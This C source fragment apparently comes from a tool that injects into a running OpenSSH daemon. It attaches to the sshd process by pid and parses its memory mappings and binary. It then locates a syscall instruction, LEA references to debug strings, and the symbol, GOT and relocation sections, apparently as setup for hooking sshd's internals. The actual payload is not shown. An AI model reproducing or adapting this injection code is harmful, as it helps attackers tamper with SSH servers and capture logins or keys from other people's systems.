u64 lea_by_debugstr(inject_ctx *ctx, u8 lea_reg, char *str) { u64 lea_addr, str_addr; char leabuf[]="\x48\x8d\x00\x00\x00\x00\x00"; int *rptr = (int*)&leabuf[3]; int i, j; mem_mapping *mapping; leabuf[2] = lea_reg; str_addr = find_sig_mem(ctx, (u8*)str, strlen(str), MEM_R); if (str_addr == 0) error("could not locate str '%s'", str); for(i = 0; i < ctx->num_maps; i++) { mapping = ctx->mappings[i]; if ((mapping->perm & (MEM_R | MEM_X)) != (MEM_R | MEM_X)) continue; for(j = 0; j < mapping->size-7; j++) { *rptr = str_addr - (mapping->start+j+7); if (memcmp(mapping->data+j, leabuf, 7) == 0) { lea_addr = mapping->start+j; } } } return lea_addr; }
void inject_ctx_init(inject_ctx *ctx, pid_t pid) { int i; char sshd_path[255], proc_exe[64]; info("you gave me pid %d\n", pid); ctx->pid = pid; ctx->debug = 0; _attach(ctx->pid); info("slurping stuff to memory.."); // parse /proc/pid/maps map_init(); ctx->num_maps = map_load_all(ctx); ctx->mappings = map_get(); map_sort(ctx); info("loaded %d memory mappings", ctx->num_maps); // get full path to sshd binary from /proc/pid/exe link memset(sshd_path, 0, 255); sprintf(proc_exe, "/proc/%d/exe", ctx->pid); readlink(proc_exe, sshd_path, 255); info("sshd binary path = '%s'", sshd_path); // check if OpenSSH version is >= 7 FILE *f = fopen(sshd_path, "rb"); if (f == NULL) { error("could not open sshd binary ('%s')", sshd_path); } fseek(f, 0, SEEK_END); int sz = ftell(f); fseek(f, 0, SEEK_SET); char *sshd_buf = malloc(sz); fread(sshd_buf, sz, 1, f); fclose(f); ctx->uses_new_key_system = 1; for(i = 0; i < sz; i++) { if (memcmp(sshd_buf + i, "key_new: RSA_new failed", 23) == 0) { ctx->uses_new_key_system = 0; break; } } if (ctx->uses_new_key_system) { info("oh, we're dealing with an sshd that probably uses sshkey_* api.."); } free(sshd_buf); // locate syscall instruction ctx->sc_addr = find_sig_mem(ctx, (u8*)"\x0f\x05", 2, MEM_R | MEM_X); info("syscall\t\t\t= \x1b[37m0x%lx", ctx->sc_addr); // load symtabs ctx->dynsym_sz = get_section(sshd_path, ".dynsym", &ctx->dynsym, &ctx->dynsym_base); ctx->dynstr_sz = get_section(sshd_path, ".dynstr", &ctx->dynstr, &ctx->dynstr_base); ctx->symtab_sz = get_section(sshd_path, ".symtab", &ctx->symtab, &ctx->symtab_base); ctx->strtab_sz = get_section(sshd_path, ".strtab", &ctx->strtab, &ctx->strtab_base); ctx->got_sz = get_section(sshd_path, ".got", &ctx->got, &ctx->got_base); ctx->rela_plt_sz = get_section(sshd_path, ".rela.plt", &ctx->rela_plt, &ctx->rela_plt_base); ctx->rela_dyn_sz = get_section(sshd_path, ".rela.dyn", &ctx->rela_dyn, &ctx->rela_dyn_base); // cache all call instructions in executable regions cache_calltable(ctx); }